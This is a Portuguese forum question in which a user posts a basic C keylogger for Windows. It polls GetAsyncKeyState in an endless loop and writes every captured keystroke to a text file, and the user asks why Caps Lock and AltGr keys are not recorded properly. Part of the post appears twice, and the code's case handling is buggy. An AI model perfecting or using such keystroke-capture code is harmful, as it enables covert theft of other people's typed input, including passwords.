Neste código não funciona capslock e teclas especias que usam o Alt gr. Já tentei resolver de algumas maneiras, mas não consegui resolver. Minha duvida é quando o utilizador clicar no CAPSLOCK as teclas fiquem maiúsculas. Agradeço desde já
/*Bugs: 1-Fica com um espaço a mais quando usa o Shift -> Resolvido 2-quando insere uma letra minuscula fica maiúscula automaticamente no arquivo -> Resolvido 3-resolver para descobrir números -> Resolvido 4-Resolver para teclas que usam o alt gr 5-Resolver para funcionar com o CAPS LOCK, Teste: printf("%d", result_caps); -> Desistindo*/
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <locale.h>
void main()
{
int result = 0, result_shift = 0, result_caps = 0;
int teclas, click_caps = 0;
int cont = 1;
FILE *arquivo;
result = GetAsyncKeyState(teclas);
result_shift = GetAsyncKeyState(VK_LSHIFT);//Pra saber se a tecla shift está ativa
result_caps = GetAsyncKeyState(VK_CAPITAL);
Pergunta
Azazel
Neste código não funciona capslock e teclas especias que usam o Alt gr. Já tentei resolver de algumas maneiras, mas não consegui resolver. Minha duvida é quando o utilizador clicar no CAPSLOCK as teclas fiquem maiúsculas. Agradeço desde já
/*Bugs: 1-Fica com um espaço a mais quando usa o Shift -> Resolvido
2-quando insere uma letra minuscula fica maiúscula automaticamente no arquivo -> Resolvido
3-resolver para descobrir números -> Resolvido
4-Resolver para teclas que usam o alt gr
5-Resolver para funcionar com o CAPS LOCK, Teste: printf("%d", result_caps); -> Desistindo*/
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <locale.h>
void main()
{
int result = 0, result_shift = 0, result_caps = 0;
int teclas, click_caps = 0;
int cont = 1;
FILE *arquivo;
setlocale(LC_ALL, "Portuguese");
arquivo = fopen("ArquivoKey_4.txt", "w");
do
{
for(teclas = 20; teclas <= 122; teclas++){
result = GetAsyncKeyState(teclas);
result_shift = GetAsyncKeyState(VK_LSHIFT);//Pra saber se a tecla shift está ativa
result_caps = GetAsyncKeyState(VK_CAPITAL);
if((result_shift == 0)&&(result_caps == 0)&&(result == -32767)){
if((teclas >= 65)&&(teclas <= 90)||(teclas >= 97)&&(teclas <= 122))
fprintf(arquivo, "%c", teclas+32);//teclas minusculas
else
fprintf(arquivo, "%c", teclas);
}
if((result_shift != 0)&&(result_caps == 0)&&(result == -32767))
fprintf(arquivo, "%c", teclas);//teclas maisculas
if((result_shift == 0)&&(result_caps != 0)&&(result == -32767))
fprintf(arquivo, "%c", teclas);//teclas maiusculas
}
}while(cont != 0);
getchar();
getchar();
}
/*Resultado que sai do GetAsyncKeyState
Editado por Azazel-> -32766, Shift
-> -32767, Letras
-> -32768, CAPSLOCK*/
Link para o comentário
Compartilhar em outros sites
0 respostass a esta questão
Posts Recomendados
Participe da discussão
Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.